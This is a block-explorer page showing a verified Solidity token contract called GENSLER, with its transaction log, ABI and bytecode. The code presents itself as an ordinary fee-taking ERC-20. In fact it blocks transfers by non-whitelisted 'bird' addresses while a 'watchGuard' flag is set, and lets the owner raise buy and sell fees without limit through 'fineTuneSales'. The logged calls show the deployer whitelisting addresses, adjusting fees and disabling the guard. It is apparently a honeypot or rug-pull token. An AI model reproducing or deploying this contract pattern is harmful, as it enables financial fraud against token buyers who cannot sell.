ETH Price: $3,380.77 (-7.85%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Renounce Ownersh...166055352023-02-11 12:31:59696 days ago1676118719IN
0x6dCB7087...7971b6DDb
0 ETH0.0003500514.99722948
Fine Tune Sales166055152023-02-11 12:27:59696 days ago1676118479IN
0x6dCB7087...7971b6DDb
0 ETH0.0005144815.18686935
Change Message166042092023-02-11 8:05:11696 days ago1676102711IN
0x6dCB7087...7971b6DDb
0 ETH0.001128815.02511476
Change Message166041992023-02-11 8:02:47696 days ago1676102567IN
0x6dCB7087...7971b6DDb
0 ETH0.004920815.93117584
Approve166041632023-02-11 7:55:35696 days ago1676102135IN
0x6dCB7087...7971b6DDb
0 ETH0.0007448616.00355907
Fine Tune Sales166041372023-02-11 7:50:23696 days ago1676101823IN
0x6dCB7087...7971b6DDb
0 ETH0.0005448117.53118886
Fine Tune Sales166040652023-02-11 7:35:59696 days ago1676100959IN
0x6dCB7087...7971b6DDb
0 ETH0.0006129818.09457242
Approve166040452023-02-11 7:31:59696 days ago1676100719IN
0x6dCB7087...7971b6DDb
0 ETH0.0008559218.36595432
Approve166040402023-02-11 7:30:59696 days ago1676100659IN
0x6dCB7087...7971b6DDb
0 ETH0.0009094519.5145039
Disable Watch Gu...166040312023-02-11 7:29:11696 days ago1676100551IN
0x6dCB7087...7971b6DDb
0 ETH0.0005347218.76152241
Fine Tune Sales166040272023-02-11 7:28:23696 days ago1676100503IN
0x6dCB7087...7971b6DDb
0 ETH0.0005671916.74277372
Transfer166040032023-02-11 7:23:35696 days ago1676100215IN
0x6dCB7087...7971b6DDb
0 ETH0.0009264916.65034221
Approve166039622023-02-11 7:15:23696 days ago1676099723IN
0x6dCB7087...7971b6DDb
0 ETH0.0007721716.56875526
Include In Birds166039562023-02-11 7:14:11696 days ago1676099651IN
0x6dCB7087...7971b6DDb
0 ETH0.0008258817.81184754
Include In Birds166039542023-02-11 7:13:47696 days ago1676099627IN
0x6dCB7087...7971b6DDb
0 ETH0.0007537816.25688299
Include In Birds166039062023-02-11 7:04:11696 days ago1676099051IN
0x6dCB7087...7971b6DDb
0 ETH0.0007937617.11926826
Include In Birds166039032023-02-11 7:03:35696 days ago1676099015IN
0x6dCB7087...7971b6DDb
0 ETH0.0007835716.89938475
Include In Birds166038992023-02-11 7:02:47696 days ago1676098967IN
0x6dCB7087...7971b6DDb
0 ETH0.0008282917.86379318
Include In Birds166038972023-02-11 7:02:23696 days ago1676098943IN
0x6dCB7087...7971b6DDb
0 ETH0.0009103919.63965885
Include In Birds166038952023-02-11 7:01:59696 days ago1676098919IN
0x6dCB7087...7971b6DDb
0 ETH0.0007895317.02784866
Include In Birds166038932023-02-11 7:01:35696 days ago1676098895IN
0x6dCB7087...7971b6DDb
0 ETH0.0007832616.89278963

Latest 8 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
166072262023-02-11 18:11:47696 days ago1676139107
0x6dCB7087...7971b6DDb
0.00047059 ETH
166072262023-02-11 18:11:47696 days ago1676139107
0x6dCB7087...7971b6DDb
0.00004691 ETH
166072262023-02-11 18:11:47696 days ago1676139107
0x6dCB7087...7971b6DDb
0.00010591 ETH
166072262023-02-11 18:11:47696 days ago1676139107
0x6dCB7087...7971b6DDb
0.00052959 ETH
166041672023-02-11 7:56:23696 days ago1676102183
0x6dCB7087...7971b6DDb
0.02559131 ETH
166041672023-02-11 7:56:23696 days ago1676102183
0x6dCB7087...7971b6DDb
0.00064753 ETH
166041672023-02-11 7:56:23696 days ago1676102183
0x6dCB7087...7971b6DDb
0.00131283 ETH
166041672023-02-11 7:56:23696 days ago1676102183
0x6dCB7087...7971b6DDb
0.0262566 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GENSLER

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-11
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.18;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    )
        external payable;
}

interface IUniswapV2Pair {
    function sync() external;
}

contract GENSLER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;

    event NewMessage(string value);

    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWallet;
    mapping (address => bool) private _isBird;

    string private constant _name = "GENSLER";
    string private constant _symbol = "GENSLER";
    uint256 private _feeRate = 50;
    uint8 private constant _decimals = 18;
    uint256 private _tTotal =  100000000  * 10**_decimals;
    uint256 private _mWallet = 2000000  * 10**_decimals;

    string public _message;
    address public messageSender;

    address payable public liquidityReceiver = payable(0xb8fc8dE32D872a396aa3898c95079EB1F9f90214);
    address payable public marketingAddress = payable(0xb8fc8dE32D872a396aa3898c95079EB1F9f90214);

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
    }

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
    }

    BuyFees public buyFee;
    SellFees public sellFee;

    uint256 private liquidityFee;
    uint256 private marketingFee;

    bool private watchGuard;
    bool private stopNow;

    bool private swapping;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    constructor () {
        buyFee.liquidity = 1;
        buyFee.marketing = 1;

        sellFee.liquidity = 1;
        sellFee.marketing = 1;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;

        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0x00)] = true;
        _isExcludedFromFee[address(0xdead)] = true;
        _isExcludedFromFee[marketingAddress] = true;

        _isExcludedFromMaxWallet[msg.sender] = true;
        _isExcludedFromMaxWallet[address(this)] = true;
        _isExcludedFromMaxWallet[uniswapV2Pair] = true;
        _isExcludedFromMaxWallet[marketingAddress] = true;

        _isBird[msg.sender] = true;
        _isBird[marketingAddress] = true;

        messageSender = _msgSender();
        _message = "We love crypto";

        watchGuard = true;
        stopNow = true;

        balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[address(account)] = excluded;
    }

    function excludeFromMaxWallet(address account, bool excluded) public onlyOwner {
        _isExcludedFromMaxWallet[address(account)] = excluded;
    }

    function includeInBirds(address account, bool included) public onlyOwner {
        _isBird[address(account)] = included;
    }

    function disableWatchGuard() public onlyOwner {
        watchGuard = false;
    }

    function fineTuneSales(uint256 amountBuy, uint256 amountSell) public onlyOwner {
        uint256 amountOne = amountBuy;
        uint256 amountTwo = amountSell;
        buyFee.marketing = amountOne;
        sellFee.marketing = amountTwo;
    }

    function changeMessage(string memory messageText) external {
        require(_msgSender() == messageSender, "only Sender can do this");
        _message = messageText;
        emit NewMessage(_message);
    }

    function readTheMessage() public view returns (string memory) {
        return _message;
    }

    function setMarketingAddress(address payable newMarketingAddress) external onlyOwner {
        marketingAddress = newMarketingAddress;
    }

    function setLiquidityReceiver(address payable newLiquidityAddress) external onlyOwner {
        liquidityReceiver = newLiquidityAddress;
    }

    function getMarketingBuyFee() public view returns (uint256) {
        return buyFee.marketing;
    }

    function getMarketingSellFee() public view returns (uint256) {
        return sellFee.marketing;
    }

    function getLiquidityBuyFee() public view returns (uint256) {
        return buyFee.liquidity;
    }

    function getLiquiditySellFee() public view returns (uint256) {
        return sellFee.liquidity;
    }

    function getTotalBuyFee() public view returns (uint256) {
        uint256 mf = buyFee.marketing;
        uint256 lf = buyFee.liquidity;
        uint256 tf = mf.add(lf);
        return tf;
    }

    function getTotalSellFee() public view returns (uint256) {
        uint256 mf = sellFee.marketing;
        uint256 lf = sellFee.liquidity;
        uint256 tf = mf.add(lf);
        return tf;
    }

    receive() external payable {}

    function takeBuyFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
        uint256 marketingFeeTokens = amount * buyFee.marketing / 100;

        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function takeSellFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
        uint256 marketingFeeTokens = amount * sellFee.marketing / 100;

        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken );
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function isExcludedFromMaxWallet(address account) public view returns(bool) {
        return _isExcludedFromMaxWallet[account];
    }

    function setFeeRate(uint256 maxFee) external onlyOwner() {
        _feeRate = maxFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(from != owner() && to != owner() && !_isExcludedFromMaxWallet[to]){
            require(balanceOf(to).add(amount) <= _mWallet, "Max Balance is reached.");
        }

        if(watchGuard != false && !_isBird[from] && !_isBird[to]){
          require(stopNow == false, "Transfer is not possible");
        }

        balances[from] -= amount;
        uint256 transferAmount = amount;

        bool takeFee;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            takeFee = true;
        }

        if(takeFee){
            if(to != uniswapV2Pair){
                transferAmount = takeBuyFees(amount, to);
            } else {
                transferAmount = takeSellFees(amount, from);
                uint256 swapTokenAtAmount = balanceOf(uniswapV2Pair).mul(_feeRate).div(1000);

                if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
                    swapping = true;
                    swapBack(swapTokenAtAmount);
                    swapping = false;
                }

                if (!swapping) {
                    swapping = true;
                    swapBack(balanceOf(address(this)));
                    swapping = false;
                }
            }
        }

        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function swapBack(uint256 amount) private {
        uint256 contractBalance = amount;
        uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
        uint256 marketingTokens = contractBalance * (buyFee.marketing + sellFee.marketing) / (buyFee.marketing + buyFee.liquidity + sellFee.marketing + sellFee.liquidity);
        uint256 totalTokensToSwap = liquidityTokens + marketingTokens;

        uint256 tokensForLiquidity = liquidityTokens.div(2);
        uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
        addLiquidity(tokensForLiquidity, ethForLiquidity);
        payable(marketingAddress).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            liquidityReceiver,
            block.timestamp
        );
    }

    function amIBird(address account) public view returns(bool) {
        return _isBird[account];
    }

    function watchGuardState() public view returns(bool) {
        return watchGuard;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"}],"name":"NewMessage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_message","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"amIBird","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"messageText","type":"string"}],"name":"changeMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableWatchGuard","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountBuy","type":"uint256"},{"internalType":"uint256","name":"amountSell","type":"uint256"}],"name":"fineTuneSales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLiquidityBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquiditySellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketingBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketingSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"included","type":"bool"}],"name":"includeInBirds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"messageSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"readTheMessage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxFee","type":"uint256"}],"name":"setFeeRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newLiquidityAddress","type":"address"}],"name":"setLiquidityReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMarketingAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"watchGuardState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526032600855620000176012600a62000575565b62000027906305f5e1006200058d565b600955620000386012600a62000575565b6200004790621e84806200058d565b600a55600d805473b8fc8de32d872a396aa3898c95079eb1f9f902146001600160a01b03199182168117909255600e805490911690911790553480156200008d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600f819055601081905560118190556012556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163c45a01559160048083019260209291908290030181865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f9190620005a7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d39190620005a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000221573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002479190620005a7565b600180546001600160a01b038086166001600160a01b0319928316178355600280548286169316929092178255336000818152600560209081526040808320805460ff19908116891790915530808552828520805483168a1790557f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc805483168a1790557f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805483168a179055600e805488168652838620805484168b17905586865260068552838620805484168b179055908552828520805483168a1790559654861684528184208054821689179055865486168452818420805482168917905593835260079091528082208054841687179055935490921682529190208054909116909117905590506200037a3390565b600c80546001600160a01b0319166001600160a01b039290921691909117905560408051808201909152600e81526d5765206c6f76652063727970746f60901b6020820152600b90620003ce908262000677565b506015805461ffff191661010117905560095460036000620003ed3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200045091815260200190565b60405180910390a3505062000743565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004b75781600019048211156200049b576200049b62000460565b80851615620004a957918102915b93841c93908002906200047b565b509250929050565b600082620004d0575060016200056f565b81620004df575060006200056f565b8160018114620004f85760028114620005035762000523565b60019150506200056f565b60ff84111562000517576200051762000460565b50506001821b6200056f565b5060208310610133831016604e8410600b841016171562000548575081810a6200056f565b62000554838362000476565b80600019048211156200056b576200056b62000460565b0290505b92915050565b60006200058660ff841683620004bf565b9392505050565b80820281158282048414176200056f576200056f62000460565b600060208284031215620005ba57600080fd5b81516001600160a01b03811681146200058657600080fd5b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005fd57607f821691505b6020821081036200061e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200067257600081815260208120601f850160051c810160208610156200064d5750805b601f850160051c820191505b818110156200066e5782815560010162000659565b5050505b505050565b81516001600160401b03811115620006935762000693620005d2565b620006ab81620006a48454620005e8565b8462000624565b602080601f831160018114620006e35760008415620006ca5750858301515b600019600386901b1c1916600185901b1785556200066e565b600085815260208120601f198616915b828110156200071457888601518255948401946001909101908401620006f3565b5085821015620007335787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61205a80620007536000396000f3fe6080604052600436106102555760003560e01c806360fd1c4f11610139578063a457c2d7116100b6578063c02466681161007a578063c024666814610707578063d2fcc00114610727578063d67bdd2514610747578063d68dff1914610767578063dd62ed3e1461077c578063f2fde38b146107c257600080fd5b8063a457c2d71461066f578063a5ece9411461068f578063a9059cbb146106af578063b45e44ba146106cf578063b57e3682146106e757600080fd5b80638da5cb5b116100fd5780638da5cb5b146105fc5780638e31b8ab1461061a578063906e9dd01461063a57806395d89b41146102615780639f9ed0c91461065a57600080fd5b806360fd1c4f146105435780636dd3d39f1461056357806370a082311461059c578063715018a6146105d25780638ca0a647146105e757600080fd5b8063264d26dd116101d25780633950935111610196578063395093511461047a57806345596e2e1461049a57806347062402146104ba57806347cb8c04146104d557806349bd5a5e146104ea5780635342acb41461050a57600080fd5b8063264d26dd146103b55780632b14ca56146103d5578063313ce56714610405578063336ca02d1461042157806335df4bc81461045a57600080fd5b80631299aec4116102195780631299aec41461031e5780631694505e1461033357806318160ddd1461036b5780631ebe8be81461038057806323b872dd1461039557600080fd5b806306fdde0314610261578063095ea7b3146102a35780630adde0eb146102d35780630e155a82146102e85780630f6811d31461030757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600781526623a2a729a622a960c91b60208201525b60405161029a9190611a7a565b60405180910390f35b3480156102af57600080fd5b506102c36102be366004611ae0565b6107e2565b604051901515815260200161029a565b3480156102df57600080fd5b5061028d6107f9565b3480156102f457600080fd5b506012545b60405190815260200161029a565b34801561031357600080fd5b5061031c610887565b005b34801561032a57600080fd5b506010546102f9565b34801561033f57600080fd5b50600154610353906001600160a01b031681565b6040516001600160a01b03909116815260200161029a565b34801561037757600080fd5b506009546102f9565b34801561038c57600080fd5b506102f96108c6565b3480156103a157600080fd5b506102c36103b0366004611b0c565b6108e3565b3480156103c157600080fd5b50600d54610353906001600160a01b031681565b3480156103e157600080fd5b506011546012546103f0919082565b6040805192835260208301919091520161029a565b34801561041157600080fd5b506040516012815260200161029a565b34801561042d57600080fd5b506102c361043c366004611b4d565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561046657600080fd5b5061031c610475366004611b6a565b610935565b34801561048657600080fd5b506102c3610495366004611ae0565b61096a565b3480156104a657600080fd5b5061031c6104b5366004611b8c565b6109a1565b3480156104c657600080fd5b50600f546010546103f0919082565b3480156104e157600080fd5b